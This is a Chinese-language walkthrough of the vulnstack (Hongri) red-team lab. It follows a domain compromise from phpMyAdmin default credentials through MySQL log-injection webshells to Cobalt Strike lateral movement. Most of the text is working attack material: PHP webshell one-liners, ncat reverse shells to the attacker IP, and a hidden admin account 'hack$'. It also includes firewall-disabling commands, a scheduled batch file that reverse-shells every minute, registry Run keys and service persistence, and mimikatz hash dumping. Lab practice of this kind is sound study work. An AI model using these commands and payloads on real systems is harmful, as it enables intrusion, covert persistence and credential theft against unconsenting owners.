前言
官网地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base
为了方便,我放置在自己的网盘中 https://pan.quark.cn/s/49d52f232428
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线。
该靶场,本人目前以cs
为主进行的域渗透,并没有深入学习相关漏洞知识,目前只是以了解流程以及掌握cs
工具的使用,后续会发布不借助工具的方式,或者借助其他工具的形式,如msf、viper
等
配置相关
虚拟机所有统一密码:hongrisec@2019
网卡1:桥接模式(外网)
网卡2:仅主机模式(内网)
kali
作为攻击机,配置一个外网的网卡,能够连接windows7
windows7 x64
作为第一个靶场,要配置两个网卡,一个外网,一个内网
win2K3 Metasploitable
作为第二个靶场,只配置一个网卡(内网),AD域名GOD
windows2008 server
作为第三个靶场,只配置一个网卡(内网)
windows11物理机----192.168.10.9
kali攻击------192.168.10.6----桥接网卡
windows7-----192.168.10.8----桥接网卡
-----192.168.52.143----VM1网卡
win2k3 -----192.168.52.0----VM1网卡
win server ----192.168.52.0---VM1网卡
流程路线
一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网–继续信息收集
8.内网攻击姿势–信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理
25、日志清理
环境搭建
对于涉及外网的windows7需要使用hongrisec@2019
登录后,启动网站服务,也就是启动phpstudy
这里建议登录一次后,重新启动一下,然后第二次登录后,把phpstudy
开启,在c
盘
外网开始
因为windows7
和kali
都使用桥接模式,所以在同一网段下,所以直接使用arp-scan
扫描
arp-scan -l
端口扫描探测目标
使用nmap
扫描目标
nmap -sT --min-rate=1000 192.168.10.8 -p- -oA nmap-tcp
再对常用的20个udp
端口进行扫描
nmap -sU --min-rate=1000 192.168.10.8 --top-ports 20 -oA nmap-udp
明确的udp
端口并未有开启的,所以对扫描的tcp
端口进行筛选
ports=`grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
对开放的端口进行详细服务等探测
nmap -sV -O -sC 192.168.10.8 -p $ports --min-rate=1000 -oA detail
使用nmap
的脚本探测目标是否有漏洞可用
nmap --script=vuln 192.168.10.8 -p $ports -oA vuln
网站探测
访问后,发现是phpstudy
的探针
并且在探针的下方具有检测数据库连接以及函数检测的界面
尝试从这个探针这里测试连接数据库的用户名和密码,用户名和密码都以root
测试后,发现弹窗,直接连接成功
那么使用gobuster
等扫描工具探测网站目录
gobuster dir -u http://192.168.10.8 -w /usr/share/wordlists/dirb/big.txt -b 404,403 -x php,html,txt,md
可以发现有phpmyadmin
和phpinfo.php
访问phpmyadmin
,发现就是数据库后台管理系统,之前在phpstudy
的探针那里,测试连接数据库的用户名和密码都为root
时,可以,那么就以这个进行登录到phpmyadmin
。
查看数据库的一些信息,发现一个newyxcms
数据库,查看一下,发现了用户名admin
和加密后的密码,这里的密码有点像md5
尝试解密,借助网站somd5.com
,解密出密码为949ba59abbe56e05
,但是也没法登录
数据库日志注入
前面从phpstudy
探针已经知道目标的根目录了c:/phpStudy/WWW
,目前就尝试获取shell
,目标是php
搭建,那么查看当前连接的安全配置
show global variables like "%secure%"
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
可以看到secure_file_priv
是为null
的,那么就说明无权写文件,其不允许的,想要修改的话,明显这里是无法修改的。因为这个配置基本上是在my.ini
更改的
那么尝试日志文件的加载测试,首先搜索日志文件的存放路径。因为在数据库执行的语句,都会被这个日志文件记录的,所以假设日志文件可以访问,然后再查询的时候配合php
脚本,是否会解析这个php
代码
show global variables like "%log%"
这个general_log
目前是关闭的,不过可以通过数据库打开,不像前面的。并把日志文件的路径改为可以访问的,也就是前面探针的路径C:/phpStudy/WWW
set global general_log='ON';
set global general_log_file='C:/phpStudy/WWW/shell.php';
然后再次查看是否成功
show variables like "general_log%";
那么现在把php
代码通过select
执行,日志文件会记录的,就看是否解析
select "<?php phpinfo()?>";
这里经过测试,在php
代码中,不要有;
,我使用后,发现在日志文件中,因为一些符号导致无法执行php
了
那么就可以构造命令执行的代码了
select "<?php system($_GET['cmd'])?>"
反弹shell
那么尝试反弹shell
,这里是windows
,所以需要的工具,不一样,主要的就是可能需要靶机安装了才行,所以只能测试
这里进行一个监听,我这里采用物理机,也就是windows11
ncat.exe -lvnp 9999
然后去构造语句,注意这里是windows
,不是linux
,所以反弹shell可以为
ncat.exe 192.168.10.9 9999 -e cmd
#进行url编码
ncat.exe%20192.168.10.9%209999%20-e%20cmd
#或者下面的powershell
ncat.exe 192.168.10.9 9999%20-e powershell
ncat.exe%20192.168.10.9%209999%20-e%20powershell
然后查看当前目录,发现确实有shell.php
,然后发现yxcms
,那么使用浏览器访问看看,发现公告中有提示,有密码,但是这与我之前解密出的不一样啊
访问这个链接/index.php?r=admin
,然后以用户名admin
和密码123456
登录即可发现进入后台
不过探测后,发现这里大概就是文件上传了,不过这里已经有了一个shell
,所以就没有截图了
内网第一台
web主机信息收集
查看当前电脑的用户、共享、以及当前是哪个用户
net user
net share
whoami
查看环境变量
echo %PATH%
set
进一步查看当前计算机的电脑是否有域控,有的话,域名是什么
net user /domain
net group /domain
net time /domain
查看网络信息状态
ipconfig /all
发现两个网卡,其中的一个网段并未见到过,可能就是内网环境,也就是域控所在网段
继续查看网络方面的,查看路由以及arp
映射表
route print
arp -a
通过arp
映射表发现一个内网网段的ip
地址192.168.52.138
继续查看系统信息
systeminfo
查看网络连接,也就是监听等
netstat -ano
查看进程
tasklist
然后建议修改一下防火墙的规则
#关闭防火墙
netsh advfirewall set allprofiles state off
#开启防火墙
netsh advfirewall set allprofiles state on
#允许8888端口通过防火墙进入
netsh advfirewall firewall add rule name="start 8888" dir=in action=allow protocol=TCP localport=8888
#允许8888端口通过防火墙出去
netsh advfirewall firewall add rule name="start 8888" dir=out action=allow protocol=TCP localport=8888
#允许所有端口通过防火墙进入
netsh advfirewall firewall add rule name="all tcp port" dir=in action=allow protocol=TCP localport=1-65535
#允许应用程序执行时通过防火墙可以进入
netsh advfirewall firewall add rule name="test.bat" dir=in action=allow program="C:\test.bat"
#允许应用程序执行时通过防火墙可以出去
netsh advfirewall firewall add rule name="test.bat" dir=out action=allow program="C:\test.bat"
#查看防护墙的所有规则
netsh advfirewall firewall show rule name=all
当然还有创建隐藏用户等,然后开放3389
远程桌面服务,以能够以隐藏身份登录
#添加隐藏用户
net user hack$ 123 /add
net localgroup administrators hack$ /add
#开启远程桌面服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f"
还可以编写脚本bat
以定时执行schtasks
,这样的方式也可以维持,不过发现的概率是个问题
#脚本内容,脚本保存为1.bat
@echo off
set ip=192.168.10.9
set port=8888
set nc="C:\Program Files (x86)\Nmap\ncat.exe"
set pa=-e
set com=cmd
%nc% %ip% %port% %pa% %com%
#利用schtasks生成计划,每一分钟执行脚本
schtasks /create /tn "system" /tr "C:\phpStudy\1.bat" /sc minute /mo 1
借助后渗透工具cs
为了方便后渗透,也就是为了后面可以随时连接,通过一些工具,如cs、viper、msf
等工具,这里直接借助cs
生成一个exe
文件,以便后续的渗透
不过这里建议使用蚁剑、菜刀、哥斯拉
等专业的webshell
使用工具,为了方便上传文件等操作,当然如果目标有ncat.exe
等的话,也是直接通过命令也是可以的
首先在kali
中启动框架,然后连接后,先创建一个监听器
然后再生成一个windows
的exe
后门,然后选择这个创建的监听器
这就生成了一个简单的exe
后门程序,只需要在靶机上执行这个程序即可在cs
上线。
这里采用webshell
工具,首先与前面一样,不过这里需要一个一句话木马
<?php eval($_REQUEST['cmd'])?>
这里就不演示通过日志生效了,直接通过蚁剑上传生成的exe
文件
这里就需要执行这个文件,可以看到上线成功
把这个exe
文件设置开机自启动,以方便后续操作
#该注册表添加后,对当前用户生效
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shell /t reg_sz /d "C:\phpStudy\WWW\web.exe"
#该注册表添加后,对所有用户生效
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v shell /t reg_sz /d "C:\phpStudy\WWW\web.exe"
#还可以以计划的形式执行
schtasks /create /tn "shell" /tr "C:\phpStudy\WWW\web.exe" /sc ONSTART
#还可以以服务的形式开启
sc create shell binPath= "C:\phpStudy\WWW\web.exe" start= auto
之前在连接的时候,该探测的都探测了,那么这里尝试抓取hash
等
这里的cs
工具,其实抓取hash
就是使用hashdump
抓取明文密码,就是使用mimikatz
不过目前来说,这个靶机已经是administrator
了,所以就是进行内网探测,也就是查看有无其他的机器
这里可以使用cs
上的探测,也可以借助靶机上的nmap
进行操作,因为之前查看环境变量的时候,发现具有这个工具的
shell nmap -sn 192.168.52.0/24
可以看到两个ip
地址192.168.52.138
和192.168.52.141
,进一步对其中一个进行扫描
shell nmap -sV -O 192.168.52.138
具体看到了目标是开放了445
端口的,也就是smb
服务
扫描另一个ip
地址
shell nmap -sV -O 192.168.52.141
也是开放了这个端口,这个可能存在漏洞的,但是需要检测。
横向移动到OWA
记得要提权到system
,这里利用svc-exe
,其实就是psexec
可以看到已经提权成功
下面就直接开始检测了,借助system
权限去执行网络探测,以及端口检测,其实就是借助两个
net view
arp、icmp等协议探测网段存活主机和端口
上面已经使用nmap
等信息探测了,为什么我这里还再一遍,因为这样使用,会记录在cs
上面,会列举详细列表,方便操作
这一步网络探测是有一点慢的,要等
然后进行相关的操作,先进行网络探测,然后根据发现的网段进一步扫描
执行过扫描后,成功的话,就会在列表中可以看到同一网段的几台主机
因为之前扫描过,都是开放了445
服务的,那么都直接尝试cs
的内置smb
监听进行测试
然后点击一个主机进行横向移动,在此之前确定对刚开始的靶机进行了hash
抓取以及明文密码
然后在主机列表点击横向移动中的psecex
进行测试,采用监听器为刚创建的smb
模块
jump psexec OWA smb1
这里需要注意,采用的是GOD.ORG
的域名才行
可以查看一下大概的拓扑
探测OWA主机
还是采用cs
,步骤也一样,直接进行探测,首先抓取hash
,以及明文密码
然后开始提权进行,当然这里已经是system
了,所以进行下一步的操作
也就是从这台OWA主机到另一台主机,还是通过smb
的监听器,这里还是使用psexec
进行测试,选择的时候是OWA
,不要以之前的GOD
,域和域之间是不一样的。
不过最终经过测试,发现以administrator
在OWA
域中进行psexec
横向移动到最后一个域的时候,是执行失败的,采用同在OWA
域中的liukaifeng01
后执行,成功移动成功,到最后的域
执行可以看到当前主机名了,也可以自己去使用命令查看域控
总结
目前我个人获取到根域的权限,完全借助的是cs
工具的,也就是对于其中作者给出的漏洞,并没有去利用,去提权,所以,该版本只作为了解过程,以及对cs
工具的使用,后续我会更新不借助工具,以及借助其他工具去渗透该靶机。